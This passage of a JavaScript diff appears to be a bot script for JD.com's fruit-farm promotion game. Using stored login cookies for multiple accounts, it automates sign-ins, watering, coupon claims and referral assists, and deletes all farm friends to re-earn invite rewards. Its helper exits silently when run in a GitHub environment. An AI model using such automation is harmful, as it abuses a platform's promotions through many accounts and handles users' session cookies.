$.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; +} +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index + 1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} +async function GetCollect() { + try { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】`); + var llfound = false; + var strShareCode = ""; + if (TempShareCache) { + for (let j = 0; j < TempShareCache.length; j++) { + if (TempShareCache[j].pt_pin == $.UserName) { + llfound = true; + strShareCode = TempShareCache[j].ShareCode; + } + } + } + if (!llfound) { + console.log($.UserName + "该账号无缓存,尝试联网获取互助码....."); + llgetshare=true; + await initForFarm(); + if ($.farmInfo.farmUserPro) { + var tempAddCK = {}; + strShareCode=$.farmInfo.farmUserPro.shareCode; + tempAddCK = { + "pt_pin": $.UserName, + "ShareCode": strShareCode + }; + TempShareCache.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + if (strShareCode) { + console.log(`\n`+strShareCode); + newShareCodes.push(strShareCode) + } else { + console.log(`\n数据异常`); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\ngetFullCollectionReward: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(2000); + console.log('等待了2秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(3000); + console.log('等待了3秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\ninitForFarm: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\nrequest: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), 